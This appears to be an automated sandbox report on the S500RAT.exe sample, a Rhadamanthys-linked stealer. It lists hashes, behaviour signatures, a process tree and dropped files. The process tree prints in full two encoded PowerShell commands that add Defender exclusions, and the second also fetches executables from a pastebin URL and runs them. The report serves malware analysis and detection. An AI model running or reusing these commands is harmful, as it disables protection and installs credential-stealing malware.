Analysis

  • max time kernel
    29s
  • max time network
    13s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-08-2024 12:44

General

  • Target

    S500RAT.exe

  • Size

    19.7MB

  • MD5

    a30b20982e46cdf912f2921376499146

  • SHA1

    d2733e2dbc3cfece6d6dc8d6656720b32bc7c288

  • SHA256

    67221baac9a770a9d8ca6e69d0770fb33b3bc6a1e548c3a4349a750f1c2ee950

  • SHA512

    20eff0091c733a0bb6a98b8fda8cc597b1d1293e3a1cad5e90459b3b22a241b8528490fba83535bd07cb50deff582086ccf25b2e296780135e1b62fcd6d10b4d

  • SSDEEP

    393216:M+D6Dn2BamajCGVS7yCzIWHS0wsZ4/jQLoLZ0bmWWxPIPlGMfF64GsYIjgfIQwsG:7ARmGVStBxe/jYoLZKWxPIPlGMZG3qIG

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://pastebin.com/raw/p2s7tDSd

Signatures

  • Detect rhadamanthys stealer shellcode 2 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 36 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\S500RAT.exe
    "C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3340
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAegB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAYgB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAdwBiACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4660
    • C:\Users\Admin\w00ieq6n.exe
      "C:\Users\Admin\w00ieq6n.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\system32\relog.exe
        C:\Windows\system32\relog.exe
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4460
        • C:\Windows\system32\relog.exe
          C:\Windows\system32\relog.exe
          4⤵
            PID:2912
      • C:\Windows\S500RAT.exe
        "C:\Windows\S500RAT.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3444
        • C:\Users\Admin\AppData\Local\Temp\S500RAT.exe
          "C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4840
          • C:\Users\Admin\AppData\Local\Temp\blackCC.exe
            "C:\Users\Admin\AppData\Local\Temp\blackCC.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1212
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAeAB3ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbAByAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQByAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBxAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAHAAMgBzADcAdABEAFMAZAAnACkALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdACIAYAByAGAAbgAiACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AE4AbwBuAGUAKQA7ACAAJABmAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAUgBhAG4AZABvAG0ARgBpAGwAZQBOAGEAbQBlACgAKQA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAPAAjAGgAeABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbQB3AGMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZQBhAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAKQAgAH0APAAjAGIAegBzACMAPgA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAdQB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBkAGoAeQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQAgAH0AIAA8ACMAcgBtAHIAIwA+AA=="
              5⤵
              • Blocklisted process makes network request
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4568
        • C:\Users\Admin\AppData\Local\Temp\Client.exe
          "C:\Users\Admin\AppData\Local\Temp\Client.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1828
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4508
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 740
              5⤵
              • Program crash
              PID:2632
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1828 -s 136
            4⤵
            • Program crash
            PID:64
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4496
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1828 -ip 1828
      1⤵
        PID:4428
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4508 -ip 4508
        1⤵
          PID:3272

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          3d086a433708053f9bf9523e1d87a4e8

          SHA1

          b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

          SHA256

          6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

          SHA512

          931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          1ea08e23a5cd81fdc6f5ea8fffcd7087

          SHA1

          e0a91ae2960097e22b40cb5f8c911a4645fd0dde

          SHA256

          efabe171aac626073cf57108048a221a8838f6c3885df819d73853ede19b2298

          SHA512

          68ed7275a00d8ce2a93a4c4429996cd3bbf312614e14a601920ac3a91b54c3e9b552437eabcb08782feb55c9f0e5765526cfc3218f24bba4dcb4e3c28af8ba66

        • C:\Users\Admin\AppData\Local\Temp\Client.exe

          Filesize

          672KB

          MD5

          dbf35eac1c87ed287c8f7cba33d133b5

          SHA1

          d1dbfba561f8112e5099507a18cd9465b4fcb577

          SHA256

          16094ff7a11c1960da481a9e106676fd94902e64c5625549493dca97bde72fcd

          SHA512

          c4b2112773036d89ffb1faa44ce00e1ae5bb586c7bfc3219549f32adaf74e545687ebe4682db789cf4600dcbc38d0545dfec171d92d15244cb7234736ec5b532

        • C:\Users\Admin\AppData\Local\Temp\S500RAT.exe

          Filesize

          17.8MB

          MD5

          e5f9792d0889af4fb6c295c5e0d74cee

          SHA1

          1aabebd0923a3e4e1772b48294c7b0fc86973e71

          SHA256

          c5f99ca677d1b5aade06ab17adfa2a5c064c89e2f52875aefbca071ae2189f7f

          SHA512

          4290a88de6fb0e6f851beff8577467760d1fa6afeda0d8a0afd50f6f7ad77d3960c0742260bdc87154c828a67f5807680dc8093386bbcd0ab97ccf8091b1b288

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbpivnjy.u3q.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\blackCC.exe

          Filesize

          72KB

          MD5

          462b459a2560b65a657cfecce53d682a

          SHA1

          f0ce24faf42d2d1453c4f18fda0223b83486e5ae

          SHA256

          00502647989c700d1cbf37685fcdf3a81d9302fb792edabecb5a211c5cdff0db

          SHA512

          5d88eb5c91dd772d0c6f54e5d799639e1fd59d4dcf112674d065b76bb3ab048442cccc13f2f031f611b9632a223c961c7ad43f09a06b33d2f92adec7da9ff88b

        • C:\Users\Admin\w00ieq6n.exe

          Filesize

          657KB

          MD5

          93eb0cf0043f1f507a1b94eea7b65fe4

          SHA1

          148be925922c60190bde523cb60a50da9e544da1

          SHA256

          6cbd8961b21b75bb176439538633191ed8364e755c8b2d049ca7281871430d30

          SHA512

          94640f8dfd1ceeb8ec72be3bd40bbafb8b4b8dda584dffcd88c6c616cd65ffb9b0087ed093231db3940211a3b5c3fc8efed957c4e8a701b0a61dfe1c943ccf58

        • C:\Windows\S500RAT.exe

          Filesize

          19.0MB

          MD5

          73f84c857e0811622501856e9dd3ec72

          SHA1

          0ad76a2721a0f3d032fccaf6f3310005b6f968ea

          SHA256

          acd11511324d5d76e3d7a9e786b62a6d25dc0240d57e9fd64228fa7e3409a4af

          SHA512

          683fe78c846c3647838fb5c91392c8889dc1332795ccae07733cb8d9b69f9abc452ba2b84312a38e6cf08918ee72b320855c224499ae1f1f6bb3c8a98398ba20

        • memory/3100-21-0x0000000140000000-0x0000000140174000-memory.dmp

          Filesize

          1.5MB

        • memory/3100-17-0x0000000140000000-0x0000000140174000-memory.dmp

          Filesize

          1.5MB

        • memory/3444-69-0x0000000000400000-0x00000000016FC000-memory.dmp

          Filesize

          19.0MB

        • memory/4460-148-0x0000000140000000-0x0000000140174000-memory.dmp

          Filesize

          1.5MB

        • memory/4460-19-0x0000000140000000-0x0000000140174000-memory.dmp

          Filesize

          1.5MB

        • memory/4496-136-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-137-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-130-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-129-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-140-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-128-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-134-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-135-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-139-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4496-138-0x000001D565800000-0x000001D565801000-memory.dmp

          Filesize

          4KB

        • memory/4508-141-0x0000000002C00000-0x0000000002C07000-memory.dmp

          Filesize

          28KB

        • memory/4508-142-0x0000000002D80000-0x0000000003180000-memory.dmp

          Filesize

          4.0MB

        • memory/4508-143-0x0000000002D80000-0x0000000003180000-memory.dmp

          Filesize

          4.0MB

        • memory/4508-111-0x0000000000400000-0x0000000000473000-memory.dmp

          Filesize

          460KB

        • memory/4508-110-0x0000000000400000-0x0000000000473000-memory.dmp

          Filesize

          460KB

        • memory/4568-118-0x0000000070070000-0x00000000700BC000-memory.dmp

          Filesize

          304KB

        • memory/4568-144-0x0000000007620000-0x0000000007634000-memory.dmp

          Filesize

          80KB

        • memory/4660-57-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

          Filesize

          120KB

        • memory/4660-93-0x00000000060A0000-0x00000000060BE000-memory.dmp

          Filesize

          120KB

        • memory/4660-114-0x0000000007120000-0x000000000713A000-memory.dmp

          Filesize

          104KB

        • memory/4660-115-0x0000000007100000-0x0000000007108000-memory.dmp

          Filesize

          32KB

        • memory/4660-112-0x0000000007020000-0x000000000702E000-memory.dmp

          Filesize

          56KB

        • memory/4660-109-0x0000000006FE0000-0x0000000006FF1000-memory.dmp

          Filesize

          68KB

        • memory/4660-107-0x0000000007060000-0x00000000070F6000-memory.dmp

          Filesize

          600KB

        • memory/4660-97-0x0000000006E60000-0x0000000006E6A000-memory.dmp

          Filesize

          40KB

        • memory/4660-95-0x0000000007420000-0x0000000007A9A000-memory.dmp

          Filesize

          6.5MB

        • memory/4660-96-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

          Filesize

          104KB

        • memory/4660-82-0x0000000006C80000-0x0000000006CB2000-memory.dmp

          Filesize

          200KB

        • memory/4660-113-0x0000000007030000-0x0000000007044000-memory.dmp

          Filesize

          80KB

        • memory/4660-94-0x0000000006CC0000-0x0000000006D63000-memory.dmp

          Filesize

          652KB

        • memory/4660-83-0x0000000070070000-0x00000000700BC000-memory.dmp

          Filesize

          304KB

        • memory/4660-31-0x00000000044E0000-0x0000000004516000-memory.dmp

          Filesize

          216KB

        • memory/4660-58-0x0000000005AE0000-0x0000000005B2C000-memory.dmp

          Filesize

          304KB

        • memory/4660-48-0x0000000005580000-0x00000000058D4000-memory.dmp

          Filesize

          3.3MB

        • memory/4660-36-0x0000000004B10000-0x0000000004B32000-memory.dmp

          Filesize

          136KB

        • memory/4660-37-0x0000000004BB0000-0x0000000004C16000-memory.dmp

          Filesize

          408KB

        • memory/4660-38-0x0000000005390000-0x00000000053F6000-memory.dmp

          Filesize

          408KB

        • memory/4660-32-0x0000000004C60000-0x0000000005288000-memory.dmp

          Filesize

          6.2MB

        • memory/4840-81-0x0000000000400000-0x00000000015D4000-memory.dmp

          Filesize

          17.8MB